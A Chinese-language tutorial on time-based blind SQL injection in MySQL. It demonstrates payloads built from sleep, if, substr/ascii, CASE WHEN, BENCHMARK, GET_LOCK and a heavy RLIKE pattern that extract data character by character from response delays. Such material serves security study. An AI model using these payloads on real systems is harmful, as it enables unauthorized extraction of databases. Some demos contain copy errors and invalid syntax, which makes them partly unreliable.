基于时间的盲注

时间盲注详解

1. 基础知识

时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据。

在执行语句的过程中,由于 sleep(duration) 函数的存在,保证是注入导致的延时,而不是业务正常处理导致的延时。

2. 原理演示

2.1 sleep 函数

  • sleep(duration)
    • 睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> select * from user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
| 2 | admin1 | aaaa |
| 3 | admin2 | aaaa |
| 4 | admin3 | aaaa |
+----+----------+----------+
4 row in set (0.00 sec)

mysql> select sleep(3);
+----------------------+
| sleep(3) |
+----------------------+
| 0 |
+----------------------+
1 row in set (3.00 sec)

mysql> select * from user where id = 1 and sleep(3);
Empty set (3.01 sec)

mysql> select * from user where id = 5 and sleep(3);
Empty set (0.00 sec)

sleep(3) 执行完成后返回 0,所以 select * from user where id = 1 and sleep(3)查询 0 条数据

and 的逻辑是如果 and 左侧表达式为假,则直接返回假,不再直接右侧表达式。所以当 id=5 查不到数据时,直接就会返回结果,这样就可以用布尔注入逻辑,根据执行的时长,来测试是否查到数据。

如果 and 逻辑换成 or,又会有变化。

1
2
3
4
5
6
7
mysql> select * from user where id = 1 or sleep(3);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (9.01sec)

or 逻辑是左侧若为真则不判断右侧表达式,所以 id=1 这条执行了 0.01 sec,接下来 id=2,3,4 这几条数据都会执行 sleep(3),总共是 9.01sec。(可能不是所有版本都是这样的逻辑)

2.2 配合 if 条件触发

  • if(expr1, expr2, expr3)
    • 如果 expr1 是 True,则返回 expr2,否则返回 expr3
    • 返回值是数字值或字符串值
      1
      2
      3
      4
      5
      6
      7
      8
      9
      mysql> select * from user where id = 5 or if(username = 'admin', 1, 0);
      +----+----------+----------+
      | id | username | password |
      +----+----------+----------+
      | 1 | admin | 12345678 |
      +----+----------+----------+
      1 row in set (9.01sec)

      mysql> select * from user where id = 1 and if(database()=' ', sleep(4), null);

2.3 截取函数

配合截取函数,能够判断猜测的某一位数据是否准确

单个字母爆破

1
mysql> select * from user where username='a' or if(substr((select username from user where id = 1), 1, 1) = 'a' , sleep(3), 0)  
  • substring
    • substring(str, pos)
    • substring(str FROM pos)
    • substring(str, pos, len)
    • substring(str FROM pos FOR len)
  • substr(str, start, length)
  • mid(str, start, length)
    • str,必需
    • start,必需
    • length,可选
  • substring_index(str, delim, count)
    • str:被截取字符串
    • delim:关键字
    • count:关键字出现的次数
  • left(str, length),从左开始截取字符串
  • right(str, length),从右开始截取字符串

实际上,使用正则表达式也能达到类似的效果,“^”表示从头开始匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from user where password rlike = '^1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (0.00sec)

mysql> select * from user where password regexp '^12';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (0.00sec)

我们注意到,进行匹配时传入单个字符都需要引号,如果想不传入引号达到一样的效果,可以使用 ascii() 函数

1
2
3
select * from table where id = 1 and (if(substr(database(),1,1)=' ',sleep(4),null))

select * from table where id = 1 and (if(ascii(substr(database(),1,1))=100,sleep(4),null))

2.4 配合 select case when 条件触发

SQL CASE 表达式是一种通用的条件表达式,类似于其他语言中的 if…else… 语句

CASE WHEN condition THEN result
[WHEN …]
[ELSE result]
END

先来一个使用举例:

1
2
3
4
5
6
7
8
9
10
mysql> select case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end from user;
+---------------------------------------------------------+
| case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end |
+---------------------------------------------------------+
| aaa |
| xxxx |
| xxxx |
| xxxx |
+---------------------------------------------------------+
4 row in set (0.00sec)

可以与 sleep 或者其他形式结合

1
2
3
4
5
6
7
8
9
10
mysql> select case when username = 'admin' THEN (sleep(3)) ELSE 'xxxx' end from user;
+---------------------------------------------------------+
| case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end |
+---------------------------------------------------------+
| 0 |
| xxxx |
| xxxx |
| xxxx |
+---------------------------------------------------------+
4 row in set (3.01sec)

2.5 除 sleep 之外的延时

  • BENCHMARK(count, expr)

    • 重复 count 次执行表达式 expr。
    • 可以被用于计算 MySQL 处理表达式的速度
    • 结果值通常为0
  • 笛卡尔积

    • SELECT count(*) FROM information_schema.columns A, information_schema.colums B, information_schema.colums C;
    • 通过复杂的运算达到延时
  • GET_LOCK(str, timeout)

    • 使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
    • 局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效
      session 1
      1
      2
      3
      4
      5
      6
      7
      mysql> select get_lock('karma',1);
      +---------------------+
      | get_lock('karma',1) |
      +---------------------+
      | 1 |
      +---------------------+
      1 row in set (0.00 sec)
      session 2
      1
      2
      3
      4
      5
      6
      7
      mysql> select get_lock('karma',10);
      +----------------------+
      | get_lock('karma',10) |
      +----------------------+
      | 0 |
      +----------------------+
      1 row in set (10.00 sec)
  • RLIKE

    • 通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短
      1
      2
      3
      4
      mysql> select concat (rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

      *****
      1 row in set (0.51 sec)

————————————————